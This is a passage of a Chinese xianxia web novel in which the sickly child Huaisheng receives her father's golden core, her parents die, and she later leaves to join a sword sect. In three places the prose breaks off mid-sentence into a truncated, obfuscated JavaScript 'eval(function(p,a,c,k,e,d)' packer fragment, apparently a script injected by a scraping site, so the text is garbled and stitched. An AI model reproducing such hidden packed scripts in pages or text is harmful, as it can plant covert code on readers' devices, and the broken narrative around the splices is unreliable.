许清如清楚南新酒说的那一日是哪一日,闻言便笑道:“我本就不愿你活在仇恨里。师兄,这四年,清如已知足。” 是日,怀生在沉睡中被许清如抱入怀里,坐上了前往庆阳郡的马车。马车刻着阵法,行在路上如履平地,半点颠簸都不起。 怀生睡了整整两日方悠悠转醒。醒来看见南新酒那张沧桑了不少的脸,忙不迭唤道:“阿爹!” 南新酒笑着抱过她,道:“你体内阴毒反噬,这段时日怕是要受些苦。但你莫怕,爹和娘已经替你寻到了根治你体内阴毒的法子。以后我们怀生,再不必受阴毒折磨。” 听见这话,怀生并不觉欢喜。她抬手摸南新酒下巴上的伤痕,一字一字道:“怀生不疼,爹先养伤。” 他这闺女在清醒之时,从来不喊疼,也从来不哭,比谁都坚强。 南新酒笑了笑,温言道:“你既然醒了,那爹便同你说说那日发生在桃木林里的事。” 大人们的恩怨鲜少会在孩子面前提及,但三日前发生在桃木林的事,南新酒却没有瞒着怀生。 “那日在桃木林替我们拦住斗篷人的便是云山萧家的萧池南和朱运。你昏迷后没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可这样的事万不能叫旁人知晓。一旦叫人知道怀生能吸走阴煞之气,莫说南家了,便是涯剑山这样的大宗门也护不住她。 这件事南新酒连应御都瞒着,他不敢赌人心。 怀生明白南新酒在顾虑什么,点点头,道:“爹放心,我不说。” 对于她能吸走阴煞之气这事儿,怀生比南新酒更茫然。 她自小便知她与一般小孩儿不一样。 因着一身阴毒,她甫一出生便陷入沉睡,及至一岁方苏醒。在那之前的事,她理应不记得。 但她其实什么都记得。 记得她爹每日都用灵力帮她压制体内阴毒,记得她娘抱着她给她唱小曲儿,记得初宿摸着她的脸,叫她“妹妹”。 她什么都能感知得到,就是醒不过来。仿佛被什么东西困住了,唯有拼尽全力,耗费漫长光阴,方能打破那层屏障。许是因着这缘故,她醒来后,总觉着疲惫,总想睡。 虽精力不济,但她学起东西来却比旁人都快。或许该说,很多东西,她不必学便懂了。 比方说,许清如教她与初宿识字,那些字她从没看过,但她就是知晓如何读如何写。初宿还在一个字一个字辨认的时候,她已经能趴在□□经上翻着看。 她爹娘以为她是在翻着玩儿,压根不知她是在默念那些艰涩难懂的经书。 理解那些个经书对她来说也不是难事,诸如“道生一,一生二,二生三,三生万物”这些叫南家子弟背得双目发懵的经文,怀生看一眼便知晓是何意。 那种感觉,就好像她在许久以前便已经钻研过这些经书,于是看一眼就能触动过往的记忆。 这念头在怀生脑海里跳出来时,她自个都吓了一跳。 她一垂髫小儿,哪有什么过往记忆? 除此之外,她还能看到一些奇怪的东西。譬如……飘荡在空气中的光点以及她爹心口和眉心那两枚大半个铜钱大的光斑。 这些光斑她在旁人身上也看到过,比方说应御师伯,比方说辞婴。应御师伯的光斑比她爹大一些,也亮一些。至于辞婴,他的光斑是最大的,但都是碎片。 怀生初时不知这些奇怪的光点光斑是何物,还曾悄悄问初宿,有没有看到漂浮在她身侧的东西。 初宿咬着大拇指看她半晌,接着便像分享秘密一般,伸手摸怀生的额头,神神叨叨地说:“那都是鬼魂的碎片,别怕,他们不会伤害你。” “……” 怀生后来才知,飘荡在她四周的光点是灵气。而她爹胸膛、眉心会有光斑,是因着他爹心窍与祖窍开了。 书上说,想要入仙途,便得双窍皆开,这两窍是修真者纳灵养神之地,心窍开灵元,祖窍开灵台。唯有心窍开,方能引灵气行周天,化天地灵气为灵力。唯有祖窍开,方能开辟灵台,修炼灵识和元神。 寻常修士都是先开心窍再开祖窍。怀生低头看向自己胸膛,心窍的位置只有一团黑气,旁的什么都没有。 她的心窍,总有一日……会开的罢。 倦意再度袭来,怀生枕着南新酒的胸膛合眼睡去。 雕刻着应家族徽的马车一路分花拂柳、穿风踏雪,两日后,一行人终于在抵达庆阳郡。 应家就坐落在庆阳郡一处人烟罕至、与世隔绝的幽谷里,谷中层峦叠翠、灵植青郁,宛若凡人书中所述的世外桃源。但这世外桃源却有一个极其朴素的名字,叫丹谷。 生活在谷中的应家子弟个个痴迷于丹道,每日不是忙着种灵植,便是忙着抢丹炉。应御远道归来,竟无人来迎。 然众人在应家住下的第一晚,却是把丹房里的应家人全都给炸了出来。无他,那两个随南新酒夫妇一同客居在丹谷的小童,在这一夜齐齐开心窍了。 二人这心窍开得极度不凡。 开窍时的灵光把应家屋顶那一片夜空照得亮如白昼,磅礴灵气如潮水般倒灌入屋内,声势浩大到把正在闭关炼丹的应氏族长应姗都惊动了。 应姗掠至洞府外,望着穹顶灵光,面色凝重道:“这两个小娃娃我们护不住,需得在各宗开山门之前,将他们送去涯剑山。” 10. 赴苍琅 初宿与松沐开心窍时,怀生就在一个屋子里。她在床上昏睡,初宿与松沐守在床边,安静地翻看道藏。 自打怀生出事后,他二人变得异常沉默也异常刻苦。来庆阳郡这一路,更是一脸沉重。 初宿甚至拿来了笔和纸,要南新酒画下当日那两个斗篷人,说日后要替他和怀生报仇。 南新酒和许清如对她一贯视如己出,闻言便摸摸她头上的包子髻,哄道: “待你能修行了,我再给你画。” 结果到丹谷的第一日,她与松沐便轰轰烈烈地开心窍了。开完心窍后,又昏睡了整整一日。 怀生亲眼看着他们的心窍慢慢发亮,变成一个橘子大小的光斑。这光斑,也就比辞婴小一些,却比寻常人大许多。 除了光斑,怀生发现二人的身体也有些非比寻常。松沐的骨骼会发光,那光亮柔和朦胧,像是拢了厚厚一层灵气。 而初宿整个肉身都裹着淡如火焰般的色彩,灵气碰到她便如同鱼儿找着了水,亲昵异常。 二人身体的异样,似乎只有怀生能看出。 南新酒说,他们二人开心窍开得这般早又这般轰烈,开祖窍的日子指日可待。待得年关一过,便可送他们去涯剑山。 怀生看了眼自己黑漆漆的心口,又是失落又是高兴。失落于心窍未开,又高兴于只她一人心窍未开。 许清如抱起她,问道: “怀生是不是也想开心窍?” 怀生点头: “想。” 南新酒摸摸她头上的包子髻,宽慰道: “莫急,爹和娘有办法让你开心窍。” 怀生心知她爹重伤未愈,不愿他在这种事上费心神,便道: “不急。爹要,好好养伤,来日方长。” 听见这话,南新酒带着细纹的眼角慢慢舒展开,牵起一个极温柔的笑。 翌日醒来的初宿与松沐,对于自个睡一觉便惊天动地开了个心窍这件事,接受得十分良好。既不欣喜若狂,也不嚣张自满。 “不意外,我早就知道我是个天骄。”初宿翻着一本符术初解,用理所应当的语气说道, “等哪日我学有所成了,便去给你和姨父报仇。” 初宿与怀生躺一张摇床长大。怀生虽比她早两个时辰出生,但她从来都是拿体弱多病的怀生当妹妹看待。 桃木林那夜,怀生就在她身旁被人掳走。看着怀生与南新酒浑身是血回到南家的那一刻,不满四岁的初宿被逼着一夜长大。 头一回意识到,唯有足够强大,才能保护身边人。 初宿放下手中书,看向松沐,道: “木头,你记住了,要跟我一起拼命学好道法和剑术,好生保护怀生知道吗?我们要变得比谁都强,不能再叫人伤她。” 她的眼珠子比一般人都要黑些,像未化水的墨,沉着眼说话时,有股令人胆寒的森冷。 一旁的松沐对上初宿的眸子,放下看了一半的经书,温和地点了点头。 他是个孤儿,甫一出生便被人丢弃在一间破庙里,是一个老乞儿收养了他。老乞儿体弱多病,艰难把他养到两岁便撒手人寰。 两年前的小年夜,在这阖家团圆的年节里,家家户户都在张灯结彩。唯独他孑然一人,躺在一棵枯叶丛生的大椿树下,奄奄一息。 南家的马车从大椿树路过,是怀生与初宿隔着车窗看见了他,央着南新酒把他带回了南家。从那日起,他有了可以容身的地方,也有了家人。 松沐性子温润沉潜,鲜少会将感情外露,时常被怀生和初宿笑话是块不开窍的木头。但怀生和南叔受伤,他其实同初宿一样愤怒一样难过。 看他们一脸子苦大仇深,怀生顶着一脑门金针安慰道: “我以后,可以自己,保护自己。”说完费力捏了个蜜枣大的小拳头,示意他们不用担心。 丹房里,默默听着三个奶娃娃说话的应姗,放下手里捣药用的石杵,对初宿与松沐道: “人已经看过了,该走了。你们心窍初开,还学不会如何吸纳灵气,需得有人替你们把心窍处的紊乱灵气疏通。” 话毕,应姗长袖一拂,将两颗小豆丁送到丹堂外。 俩小豆丁天资好,应御在他们苏醒时便要给他们疏通心窍处的杂驳灵气。奈何他们醒来后,非要先来看南怀生,应御拗不过,只好把他们送来丹堂。 这丹堂乃是应氏一族的族长专用。 应姗是应御的胞姐,也是这一代的族长。她在丹道上的造诣比应御还要厉害,年不过两百便已经是丹境大圆满的真人。 怀生下意识看了眼应姗。 这位真人与应御师伯生得很像,眉眼精致如画,但性子却完全不一样。与应御师伯相比,应姗真人要清冷端肃许多。 但她身上那淡而暖的丹香,总叫怀生想起冬日里煨在红泥小炉里的橘子。 初宿与松沐一走,应姗便焚香净手,慢慢拔出怀生头顶的金针。 “一会我会凝出灵谡针扎入你心窍,会比金针疼许多。” 怀生挺直腰杆,端正坐好,道: “有劳师伯。” 应姗看了看她,又朝丹房外说了声: “应芸,拿颗七果云衣糖进来。” “我来我来,妹妹在炙烤灵草呢。” 丹房外传来一阵火急火燎的脚步声,一个满脸丹灰头发炸成鸟窝状的少女推开门,开心地送进来一碟雪白的酥糖,笑眯眯道: “族长,七果云衣糖送到了。我今日炸掉的丹炉能不能就此抵掉嘛?” 应姗淡道: “喂你怀生师妹吃颗糖,到外头守着,莫让人进来捣乱,你今日炸掉的丹炉可减少一个。” 应茹忙不迭应下,给怀生喂入两颗糖,趿拉着一双烧掉一半的草鞋, “答答”跑丹堂外守门去了。 怀生含着糖,望了眼应姗,心说这位师伯是担心她怕疼,先给她一颗糖甜甜嘴么?这灵谡针是有多疼呀?不过这糖还怪好吃的咧,也就比阿娘做的云乳桃花糕稍逊一点点。 怀生吃糖的这会功夫,应姗指尖已然凝出一根细如冰魄的长针。 她道了声“忍着”,便将刚凝好的灵谡针刺入怀生心窍。 怀生脸色一白,疼得额冒冷汗,嘴里的七果云衣糖登时不甜了。 灵谡针无形无色,但入体时极其疼痛,尤其是扎入心窍这样的金贵地。连扎九针后,怀生的衣裳都汗湿了。 应姗掌心凝聚灵气,边替她烘干衣裳,边在屋里点上两根安神的凝香,道: “睡罢,睡着了便不觉疼了。可要我唤许师妹进来陪你?” 怀生很想窝入她娘怀里睡觉,但她迟疑片刻,还是忍着疼问道: “应姗师伯,我脸色,难看吗?” “难看。”应姗实话实说。 “哦……那便,不唤,阿娘了。” 应姗起身收拾地上的金针,忽又听见怀生问她: “庆阳郡,可有放,长命灯的,地方?往年过生,阿娘会,出门给我,放长命灯。” 应姗收针的动作一顿,抬起眼,静静看向怀生。 南师弟金丹上的裂痕十分深,为南怀生融丹开灵本是越早越好。但他与许师妹想为南怀生再过一个生辰,便将融丹开灵之日定在她生辰那夜。 也就是明日。 这孩子以为明日只是用灵谡针压制丹毒反噬,不忍她娘看她煎熬,就想着要寻个由头支走她娘。 可真到了那时,许师妹怎可能不在? 应姗不忍骗她,只颔首道: “我会寻个地方给你娘放长命灯。” 出了丹堂,应姗身形化风,很快又出现在另一间丹房。丹房里摆着丹炉和几张蒲团。正中那张蒲团坐着的,正是应御。 见是她来,应御讶异道: “阿姐怎么来了?可是南怀生出了何变故?” 应姗摇头: “都疏解好了?”她问的是初宿与松沐心窍里的杂驳灵气。 “不疏解好,我怎得空回来喝口茶?” 应御斟了两杯灵果茶,道, “阿姐来这,可是为了替南怀生融丹开灵一事?” 应姗“嗯”了一声: “此术,我并无把握。” 应御道: “此术都失传多久了,便是老祖宗出手也不敢说有把握。南师弟和许师妹很清楚此术难成,但依旧要赌上这一把。既如此,我们放手去做便是。成与不成,端看天意。” 应姗垂眸望着茶盏里的茶汤,没说话。 应御见状,叹息一声,道: “阿姐莫要多虑,明日便是不成,她一身阴毒,又是凡人之体,每过一日都是煎熬。苟延残喘至今,若能得一解脱,何尝不是件幸事?我几次三番想劝南师弟放弃,为了一个飘渺的可能放弃余生,何苦来哉?” 应姗握紧了手中茶盏,不赞同道: “那么多灵谡针扎在她身上,她一声‘痛’都不曾喊过,可见她多么想要活。而南师弟与许师妹,一个愿忍筋脉寸断之痛生剖肚皮,一个愿以性命为引生剥金丹,只为了给南怀生搏一个活下去的机会。可见,唯有她活着,才是他们的幸事。” 应御沉默。 他性情薄凉,除了少数几位他重视的人,旁人的死活他鲜少会管。对南师弟与许师妹的抉择,他的确是不解。他绝不可能会为了旁人献出他的性命,谁都不行。 这便是为父母者破釜沉舟、与天相搏的决心么? “那便竭尽全力满足他们的心愿罢,”应御道, “我这就给师尊发剑书,有师尊在,万一出了岔子,也能及时弥补。” - 寒辞去冬,峥嵘岁除,这一年的年关眨眼便走到了头。 丹谷的年味十分浓厚,怀生早早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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何不归冲他轻轻一摆手,说道: “这样的事你小子怎可瞒我,明琴将你二人托付给我,今日我怎能不来?” 明琴真君乃南新酒与许清如的师尊,四年前已陨落在桃木林。 南新酒拱手作了个揖, “多谢掌门师伯。” 何不归细望他一眼,正色道: “南家小子,脱弓之箭无回头之路,你可想好了?” 南新酒微微一笑: “弟子想好了。” 何不归轻轻颔首,看向榻上浸着一身冷汗却不喊一声“疼”的小女娃,慈祥道: “是个有福的娃。日后,便入我涯剑山。” 说罢,他长袖一拂,屋内骤然浮起九颗阵石。 何不归指尖凝聚灵力,朝南新酒丹田处一定。应御、应姗同时凝出灵谡针,一人将针埋入怀生心窍,另一人将针刺入南新酒丹田。 体内阴毒汹涌如洪潮,怀生对外界早已没了感知。只觉自己的身体就像战场,两股分庭抗礼的力量在疯狂角逐、厮杀。 她疼得直打颤,如油煎火燎,又如万箭穿心。须臾之间,她已汗流如浆,本就模糊的意识连最后一丝清明都快守不住。 她忍不住又唤一声: “阿爹。” 南新酒望着怀生,柔声哄慰: “怀生莫怕,爹在。” 他唇角溢出血珠,一粒蜿蜒着两道裂痕的金丹正缓缓脱离他丹田。分明是痛极了,可他面色始终岿然不动,回应怀生的声音听不出半点痛楚。 应姗掌心微一翻,数十根灵谡针悬空而立,衔住从南新酒丹田剥离的金丹。 她看了眼怀生,小姑娘与她爹一样硬气,明明生得那样瘦弱,腰背却挺得很直,像一株孱弱的汲阳而生的树苗。 掌心再度一翻,应姗将金丹并数十根灵谡针猛地打入怀生心窍,与她心窍内的灵谡针融为一体。 “啊!” —— 怀生惨呼一声,鲜血从她七窍汩汩流出。最后一丝清明终于守不住。坠入黑暗的瞬间,她好似听见了有人在与她说话。 那人的声音影影倬倬,仿佛与她隔着千重山万重水,怎么都听不真切。 这声音怀生从不曾听过,却偏偏觉着熟悉。她无端觉得心焦,再顾不得疼痛,睁开了眼。 然而映入眼帘的不是那间点着丹香阒黑一片的静室,而是一角苍碧嶙峋的天。 苍琅界灰雾漫天,早就看不到蓝天了。可这里不是苍琅界,又能是何处? 怀生朝四野望去,只见前方一棵巨大的参天古树拔地而起。清风徐来,有叶轻吟。她愣愣看着这棵树,隐约间感受到了一种召唤。 她抬起脚,正欲上前。忽有一块古朴的青色木牌从天际飞来,悬停在她眼前,木牌中央凝着一团黄豆大小的灵光。 那灵光如脱弦之箭射入怀生眉心,恰在这时,开心窍的痛楚到了顶点,怀生痛得浑身发颤,眼前那团灵光也渐渐溃散。 灵光消失的瞬间,她终于捕捉到那人说的话—— “上神……谎言……都是谎言……莫信!” 11. 赴苍琅 一盏明亮的长命灯顺着风飘向夜空。 许清如望着灯,神色有些怔忡。 往年的除夕夜,父女二人为了支走她,总要哄她去放长命灯。今夜将是她最后一次给怀生放长命灯了。 她望着越飘越远的长命灯,轻轻地道:“长命灯放了,惟愿我们怀生,年年岁岁命无虞,岁岁年年福长履。” 她痴痴望着,也不知过了多久,身后忽然传来一声惨叫。 是怀生! 许清如不自禁地颤了下,转身望向身后那扇紧闭的房门。她疾步上前,手轻轻贴上门脸,屏息听里头的动静。 屋内的痛呼声很快便沉了下去,快得仿佛是错觉。 但许清如知道,是她的怀生在痛。 时间一下子变得极慢,熬灯油般熬得人心焦。待得满天的长命灯都望不到踪影时,丹室终于亮起一豆清光。 “许师妹,进来罢。”应姗疲惫的声音传了出来。 许清如一双手冰凉,闻言便僵硬地抓了抓五指,紧接着用力一推,迈步进了屋。因入得太急,过门时被门槛绊了个踉跄。 好在一阵春风稳稳托住她,她抬眼,撞入南新酒温柔的眸光里。 男人就在几步开外,静静地坐在榻边,等着她去。 许清如望着南新酒沾满鲜血的道袍,瞬间红了眼眶。 这短短几步路,她走得格外艰难。 每行一步路,她青竹般直挺的脊背便佝偻一分,满头青丝亦是苍白一分。待得她终于坐在南新酒身旁,与他一起握住怀生的手时,她已形如老妪,暮气缠身。 同命咒破。 那强行留了四年的生机终于要散了。 同样白发苍苍的南新酒满面沟壑纵横,可他眉眼间的快意依稀叫许清如想起了许多年前,那位张扬不羁名满中土的少年。 那是个初春时节,就在许家世代居住的丹水镇,领了宗门任务,特来接引新弟子的少年从她家门御剑而过。 一个不经意的回眸,他便望见了站在枣树下的她。 是夜那少年拿着名册敲开许家大门,问她因何不在名册里。 她说她要留在丹水镇守护许家。 少年站在树下看了她良久,离去时,他笑着说:“总有一日,我要叫你喊我一声‘师兄’!” 十年后,二十五岁的许清如成了许家的新任族长。她没有忘记那个从她家门过的少年。 昔日惊鸿一瞥,她以为那是他们所有的交集。 却不料两日后,他再一次敲开许家大门,在族人世代居住的丹华园里,布下一个又一个防护法阵,又将积攒了十年的丹药、灵石、法器一股脑儿塞给了她。 “入了涯剑山,你能学最厉害的剑术,赚最多的法宝丹药灵石。待你成就金丹,单凭你的名字便能守护你的家族了。你真的不愿离开丹水镇,去闯一闯外面的世界吗?” 那一晚,姑母拄着拐杖出来,拿回了族长令,笑吟吟地摸着许清如的头,说:“我们清如,其实也很想去看看丹水镇之外的世界,是不是?想去便去罢,姑母我宝刀尚未老,这个家,我看得住。” 于是许清如拜入承影峰,成了他嫡亲的师妹。成就金丹后,又成了他的道侣。 可惜那个骄傲的从来都意气风发的人,终究是被她拖累了。丹碎后的这四年,他的笑容再是清朗,都难掩忧伤。 及至今夜,她终于又看到了那个少年。 许清如听见他笑着说:“清如,我们怀生开心窍了。” 她看了看南新酒,又看了看榻上的小女娃,含笑落下泪,眉眼里有浓浓的不舍。 原想着只要怀生能顺利开窍,她便会心满意足的。可此时此刻,真到了要死去的这一刻,她忽然发觉,她还有许多许多话没同怀生讲。 终究是她贪心了。 许清如很想再唤一声“怀生”,想再听她叫一声“阿娘”。 然人死如灯灭。 张唇的瞬间,她眸中最后一点光亮倏尔一寂,那一句“怀生”从她舌尖坠落,化作一声很轻的叹息。 - 十三年后,庆阳郡,旗屏山脚。 “乾坤镜护佑我苍琅界上万年,偶尔出点裂缝再正常不过了,诸位叔叔婶婶莫要担心,我这就把它补好。” 九颗阵石在空中缓慢转动,空中灵力如蛛丝,勾缠着阵石往前一送,嵌入乾坤镜的裂缝里。下一刻,炫目的白光悠悠一晃,那道裂缝变戏法似地消弭无踪了。 裂缝一修好,怀生身后猛地响起一阵掌声。 “多谢小道长又护佑我旗屏山一回!这是我们为小道长备的零嘴,还望小道长笑纳。” 怀生擦了把汗,看着山中猎户给她做的肉干果脯甜酒,笑了笑,不客气道:“那我真笑纳啦。” 长袖一挥,那些个吃食和地上两具异兽的尸体顷刻消失。 “听闻不少宗门都要开山门了,小道长法术如此高明,可有拜入宗门的打算?”一位须发俱白的猎户背着个巨大的牛皮鼓从山后走来。 这样的鼓许多百姓的家里都有,是异兽撞开乾坤镜时,专门用来示警用的。 怀生笑道:“自然是有,等这次任务结束,我便要收拾行囊去宗门闯一闯了。” “那敢情好!”那老丈用力拍了拍身后的大鼓,朗声道,“今日道长为我杀煞兽,明日我为道长击锣鼓!” “对!”老丈身旁的猎户们高声应和,“届时我们为道长击锣鼓!” 怀生对这话虽有些不明所以,但见他们一脸激昂,便颔首笑道:“那便多谢诸位了。” 这是怀生驻守在旗屏山的第三个月。 这山脉是丹谷唯一一处与桃木林接壤的地方,时不时会有异兽在乾坤镜撞出裂缝,应家每年都会派弟子来此处驻守。 怀生本还要再驻守几日,谁知刚回到驻地,便被应姗的一封剑书叫回了应家。 应姗正在丹房炼药,见怀生回来,便开门见山道:“涯剑山七日后开山门,明日会有执事弟子来接引你。” 怀生一愣,她这段时日忙着挣灵石,倒是把涯剑山开山门的日子给忘了。 她默默掏出这趟出门挣的三十块灵石递给应姗,道:“这是我在旗屏山修补乾坤镜挣的灵石,真人您替我存着。” 应姗淡淡“嗯“一声:“这三个月,头疾可还会再犯?” 怀生点头:“跟从前一样。还是会做梦,但醒来后总记不得梦见了什么。” 应姗放下手中丹炉,道:“闭目,凝神。” 怀生知应姗真人这是要给自己例行检查身体,乖乖闭上眼。 一点温凉如水的灵力在她体内沿着灵脉缓缓走了一小周天,最后停在了她的心窍处。 那里,有一颗裂了两道细缝的金丹正在缓慢转动。 应姗查探半天都查不出个所以然,只好抽出灵力,道:“你体内阴毒已被驱逐大半,萎缩的灵脉也已恢复,你这头疾便是不能痊愈,也应当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她飞快起身告辞,身影消失时还不忘道:“真人放心,我一定会挣很多灵石回来!“ 应姗垂眸一笑。 在丹谷的这十三年,这孩子一直都很懂事,兴许是知晓自己寄人篱下,缺什么了想要什么了从来不说。 只除了去灵冢这事。 但饶是如此,她也只张嘴求了两次,实在是想她爹娘想得不行了,方会开口。 丹堂大长老应泉从外头送来一篓刚炙烤好的灵草,道:“方才我已将灵冢的密匙交予小怀生,明日她便要去涯剑山了,合该去同她爹娘告个别。唉……小怀生如今只开一窍,也不知入宗门时会不会平地起波澜。涯剑山明文规定,唯双窍皆开者,方可入山门。万一有人拿这条门规阻拦小怀生,可如何是好?“ 应姗面无波澜道:“她就算只开一窍,也会是这届新弟子里的最强者。没人可以拦她入涯剑山。” 大长老依旧一脸担忧:“听说萧家的萧若水今年也会来,那孩子五岁开心窍,九岁开祖窍,资质比她爹还要好。也不知萧家与小怀生她爹的纠葛会不会给她带来麻烦。” 应姗没接话,只安静地控着丹火。 大长老知她从不置喙旁的世家,便端起空了的药篓出丹房。 丹液在丹炉里渐渐凝成丹,药香满溢时,寂静的丹房悠悠响起一声几不可闻的—— “谁来都还是她最强。” 12.赴苍琅 灵冢就在应氏一族世代供奉先人的祠堂里。 祠堂地底有一间石室,南新酒与许清如二人同棺,石室里就只有这么一抬棺柩,棺柩之外又设了一个聚灵阵。 这抬棺木用的是天阶安魂木,能保尸身不腐。 十三年前,南新酒剖出金丹后,不过数个弹指的光景,他与许清如的生机便湮灭了。 应姗猜到了施过同命咒的肉.身生机会流失得极快,却没猜到会快到她与何掌门都束手无策。 所幸她当机立断取出了为自己准备的安魂木棺柩,把南新酒和许清如放了进去。 施过同命咒的尸身腐烂得极快,应姗动用秘宝,不过是想让苏醒后的怀生能体体面面地,见她爹娘最后一面。 怀生在融丹开灵后,昏迷了足足五个月方苏醒。那会初宿与松沐已被送去了涯剑山,而她爹娘躺在棺木里一动不动。 一觉醒来,她身边再无一人。 怀生没有哭,只是挨着她爹娘的棺椁静静躺了三日。她把自己蜷成小小的一团,像一只找不到家的小兽。 连着三日不吃不喝,她的意识逐渐涣散。 某个瞬间,她忽然便听到了她娘的声音,还看到了她爹娘。 就在出云居的洞府里,她看到许清如摸着微微隆起的肚皮,望向窗外阴沉的天,坚定地说: “师兄,我决定去闯不周山。我实在不愿叫我们怀生出生在一个灵气匮乏、危机四伏的世界里。苍琅界已无日月,我要带她去看碧蓝的天和璀璨的日月星辰。” 南新酒从身后拥住她,俊朗的面庞有着张扬的笑意,他意气风发道: “好。我们一同带她去。” 光影一转,灯光熠熠的厢房倏忽变成一间简朴陈旧的屋子。 屋内尸体横陈,俱是修为低下或是毫无修为的许氏族人。 许清如躺在一地残肢断骸里,面如金纸,身下血流如注。而她身前,周身拢在一团黑雾里的神秘人正踩着血泊,五指大张,狠狠抓向她下腹。 她紧紧护住高隆的肚皮,厉声道: “你究竟是何人?!” 就在神秘人掌心碰到她时,她腹中猛然亮起一阵青芒,震开了神秘人的右掌。 神秘人掌心登时变得血肉模糊,伤口里满是凌厉的剑气。他却浑不知痛,右掌再度朝那青芒拍去,而后一抽,一豆碧莹莹的光落入他掌中。 趁着这片刻功夫,许清如成功落下如意金钟阵。 许是知晓这如意金钟阵难破,又许是听到了南新酒赶来的动静,神秘人垂眸看了眼掌心,身影转瞬消失。 那时许清如金丹已碎,阴毒之气在她体内横冲直撞,灵脉正寸寸崩裂。她试图积聚灵力,但身体犹如破了洞的容器,再存不住半点灵力。 她的生命在汩汩流逝。 绝望间,体内阴毒不知为何不再冲撞她的灵脉,而是如洪流决堤般,穿过长长的脐带涌入腹中胎儿。 腹中胎儿在这时竟轻轻动了下,小脚丫在她肚皮抵出一个薄薄的印子,好似在安抚她,她没事。 这小小的动静,渐渐唤起许清如的求生之意。 “对不住啊怀生,是阿娘无用。” 她用尽最后一点力气,抓起青霜横剑一斩,硬生生剖开肚皮,将腹中婴孩取了出来。 小小婴孩一身青紫,一动不动地躺在她身侧。 许清如伸出冰凉的手,轻握住女儿满是血污的小拳头,静静地等着,待得一声孱弱的啼哭声响起时,眼泪从她眼角滚落。 泪水坠落在地,化作一团光雾消散。梦中场景又是一转,来到了丹香泠泠、烛火摇曳的丹堂。 许清如满头银丝,与南新酒十指交握,包裹住怀生小小的手。 她动了动唇,想说些什么,但生命流逝得太快,她只来得及看怀生一眼,便没了气息。 然而这一次,那些沉寂下去的未言之语,却在怀生耳边,一句一句响了起来—— “阿娘怀你那日,曾做了一个梦。梦中有一巨树从东边来,落入阿娘腹中。那树很快化作一柄木剑,剑身刻有‘怀生’二字。阿娘醒来后,觉着此二字甚合心意,便给你起了这名。只盼吾儿此一生,无论身遇何种境地,都‘心怀生望‘。 “怀生谨记,你是娘和爹千盼万盼方盼来这人间的瑰宝,你从来都不是累赘。为吾儿开窍,乃是我们心中所愿。阿娘与你爹活了一百多载,曾入宗门、拜良师,曾遇良人、结善姻,更曾悟道学剑,踏青云志。光阴不曾虚度分毫,此一生,已是无悔。 “还望吾儿莫怪爹娘为你强开仙缘。爹娘带你来这世间,怎舍得叫你只以病痛煎人寿?自是要替你争一线生机,好叫你看一看这世间瑰丽。然修仙之路,荆棘丛生,绝非坦途。个中滋味,唯己能知。吾儿日后之路,爹娘恐不能相陪。阿娘把青霜留与你,让它代替爹娘伴你左右。惟愿我儿,能朝闻大道,逍遥于天地。” 怀生从梦中醒来,泪水流了满面。她懵懵懂懂地意识到,方才那梦是阿娘的最后一点执念。 都说母女连心。 她在出生时分明没有意识,却听清了许清如说的那句“是阿娘无用”。她知阿娘总觉愧疚,所以从不喊疼,也从不流泪。 许清如知她嫌自己是个累赘,总是要不厌其烦地同怀生说,她是爹娘的珍宝,是他们同上苍祈来的掌中珠。 这些话,许清如分明说过许多许多次。连在生命的最后一瞬,她都想着要再说一回,再说这最后一回。 于是一念成执,缠绕尸身久久不散。 “阿娘,我听见了。”怀生张开双手抱住棺椁一侧,任眼中热泪砸落, “我听见了,阿娘。” 石门吱嘎一响,一隙薄淡的光携着春风吹散尘埃,抚上怀生的脸,带着阿娘掌心的温度。 这尘尽光生的时刻,仿佛是阿娘在与她道别。 应姗缓步走进石室,对怀生道: “出来罢,你爹娘舍弃一切给你开心窍,不是为了让你同他们一起死。这安魂木我不会动,日后你想他们了自可过来。” 怀生未曾辟谷,身子骨亦孱弱,应姗几乎没费什么力气便把她抱离了石室。 她自小醉心丹道,从不曾碰过凡俗之物。那日却拿着食单,亲自做了怀生爱吃的云乳桃花糕。 怀生顶着一双红肿的眼,默默吃完了所有云乳桃花糕,不哭也不闹。 应姗拿起一张手帕给她擦走唇角糕屑,道: “你体内阴毒未清,又强行融丹开了心窍,身体一旦承不住金丹里的灵力,便会爆体而亡。如今之计,只能留在我身边,由我来替你清除余毒,助你吸收金丹里的灵力。” 怀生在应姗身边一呆便呆了十三年。 这十三年里,除了偶尔出门修补乾坤镜,旁的时间她都留在丹谷不分昼夜地修炼。 她体内的阴毒去岁便已驱除了大半,本可离开庆阳郡去涯剑山修炼,只她舍不得她爹娘,硬是拖到了涯剑山开山门。 “阿爹、阿娘,明日我便要去涯剑山了。” 怀生挨着南新酒与许清如的棺椁坐下,语气十分平静: “你们与我说的话,我都记着。放心罢,我会好好修炼,好好地活。 “至于初宿与松沐,他们如今一个是掌门的关门弟子,一个是剑主亲传,在涯剑山地位高着呢,你们莫要忧心他们。就是辞婴至今尚未醒来,应御师伯说他身上的旧伤均已痊愈,灵台的伤势也已稳住,迟早都会醒来。你们也莫要挂心。” 絮絮叨叨说完一大串话,怀生安静片刻,朝石室右上角的阴暗处掠了一眼。接着便朝棺椁认认真真磕了三个响头,离开了石室。 幽暗的密室恢复阒寂。 良久,右上角的阴暗处传来一道带着笑意的苍老声音: “这小娃娃……有意思。” - 涯剑山三月初九开山门,往常宗门派去接引新弟子的,多是筑基境修士,但这日来丹谷的却是位丹境修士。 此人名唤周丕,因生了张白净的娃娃脸,瞧着十分平易近人。 与怀生一同去涯剑山的还有八名应家子弟,年岁最大的便是应茹,当年那位喂怀生吃“七果云衣糖”的少女。 